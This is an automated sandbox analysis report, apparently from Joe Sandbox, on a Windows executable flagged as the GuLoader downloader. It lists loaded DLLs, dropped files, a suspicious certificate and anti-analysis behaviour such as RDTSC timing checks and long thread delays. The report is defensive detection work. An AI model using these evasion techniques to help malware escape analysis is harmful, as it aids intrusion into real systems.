Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Section loaded: secur32.dll	Jump to behavior

Source: C:\Users\user\Desktop\NDCNDvC27F.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32

Jump to behavior

Source: stempelpudernes.lnk.0.dr	LNK file: ..\Pictures\muringerne\giggliest.pha
Source: dinosaurusserne.lnk.0.dr	LNK file: ..\..\..\..\Users\Public\Pictures\eksistensberettigelsen.pre

Data Obfuscation

Yara detected GuLoader

Source: Yara match

File source: 00000000.00000002.2274138658.000000000483F000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Source: C:\Users\user\Desktop\NDCNDvC27F.exe

Code function: 0_2_0040620C GetModuleHandleA,LoadLibraryA,GetProcAddress,

0_2_0040620C

Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 0_2_10002D50 push eax; ret		0_2_10002D7E
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 9_2_03649C30 push esp; retf 0366h		9_2_03649D55

Persistence and Installation Behavior

AI detected suspicious PE digital signature

Source: Initial sample

Joe Sandbox AI: Detected suspicious elements in PE signature: Multiple highly suspicious indicators: 1) Self-signed certificate (issuer same as subject) which is not trusted by system. 2) Email domain 'Talrigeste.tj' is from Tajikistan (.tj), a high-risk country. 3) Organization 'Gungrede' is not a known legitimate company. 4) Large time gap between compilation date (2013) and certificate dates (2024-2025) suggests certificate was likely created long after the binary. 5) The organizational unit 'Mediateker Ideliste Nonlevel' appears nonsensical and unprofessional. 6) While the country is listed as FR (France), the email domain contradicts this. 7) Certificate signature is explicitly marked as invalid by the system. These characteristics strongly suggest this is a malicious attempt to appear legitimate.

Source: C:\Users\user\Desktop\NDCNDvC27F.exe

File created: C:\Users\user\AppData\Local\Temp\nsv7365.tmp\System.dll

Jump to dropped file

Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Switches to a custom stack to bypass stack traces

Source: C:\Users\user\Desktop\NDCNDvC27F.exe	API/Special instruction interceptor: Address: 4E0BD4B
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	API/Special instruction interceptor: Address: 320BD4B

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\NDCNDvC27F.exe	RDTSC instruction interceptor: First address: 4DE4513 second address: 4DE4513 instructions: 0x00000000 rdtsc 0x00000002 test edx, eax 0x00000004 test ax, 000019D5h 0x00000008 cmp ebx, ecx 0x0000000a jc 00007F3064C61394h 0x0000000c inc ebp 0x0000000d inc ebx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	RDTSC instruction interceptor: First address: 31E4513 second address: 31E4513 instructions: 0x00000000 rdtsc 0x00000002 test edx, eax 0x00000004 test ax, 000019D5h 0x00000008 cmp ebx, ecx 0x0000000a jc 00007F3064763D84h 0x0000000c inc ebp 0x0000000d inc ebx 0x0000000e rdtsc

Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Memory allocated: 3600000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Memory allocated: 33E40000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Memory allocated: 33AF0000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Thread delayed: delay time: 599735	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Thread delayed: delay time: 599594	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Thread delayed: delay time: 599485	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Thread delayed: delay time: 599360	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Thread delayed: delay time: 599235	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Thread delayed: delay time: 599110	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Thread delayed: delay time: 598985	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Thread delayed: delay time: 598860	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Thread delayed: delay time: 598735	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Thread delayed: delay time: 598610	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Thread delayed: delay time: 598485	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Thread delayed: delay time: 598360	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Thread delayed: delay time: 598235	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Thread delayed: delay time: 598110	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Thread delayed: delay time: 597985	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Thread delayed: delay time: 597860	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Thread delayed: delay time: 597735	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Thread delayed: delay time: 597610	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Thread delayed: delay time: 597485	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Thread delayed: delay time: 597360	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Thread delayed: delay time: 597235	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Thread delayed: delay time: 597110	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Thread delayed: delay time: 596985	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Thread delayed: delay time: 595969	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Thread delayed: delay time: 595266	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Thread delayed: delay time: 595156	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Thread delayed: delay time: 595047	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Thread delayed: delay time: 594938	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Thread delayed: delay time: 594813	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Thread delayed: delay time: 594688	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Thread delayed: delay time: 594578	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Thread delayed: delay time: 594469	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Thread delayed: delay time: 594344	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Thread delayed: delay time: 594235	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Thread delayed: delay time: 594110	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Thread delayed: delay time: 593985	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Thread delayed: delay time: 593860	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Thread delayed: delay time: 593735	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Thread delayed: delay time: 593610	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Thread delayed: delay time: 593485	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Thread delayed: delay time: 593360	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Thread delayed: delay time: 593235	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Thread delayed: delay time: 593110	Jump to behavior

Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Window / User API: threadDelayed 1749			Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Window / User API: threadDelayed 6811			Jump to behavior

Source: C:\Users\user\Desktop\NDCNDvC27F.exe

Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nsv7365.tmp\System.dll

Jump to dropped file

Source: C:\Users\user\Desktop\NDCNDvC27F.exe TID: 3168	Thread sleep time: -23058430092136925s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe TID: 3168	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe TID: 3316	Thread sleep count: 1749 > 30	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe TID: 3168	Thread sleep time: -599735s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe TID: 3316	Thread sleep count: 6811 > 30	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe TID: 3168	Thread sleep count: 31 > 30	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe TID: 3168	Thread sleep time: -599594s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe TID: 3168	Thread sleep time: -599485s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe TID: 3168	Thread sleep time: -599360s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe TID: 3168	Thread sleep time: -599235s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe TID: 3168	Thread sleep time: -599110s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe TID: 3168	Thread sleep time: -598985s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe TID: 3168	Thread sleep time: -598860s >= -30000s	Jump to behavior
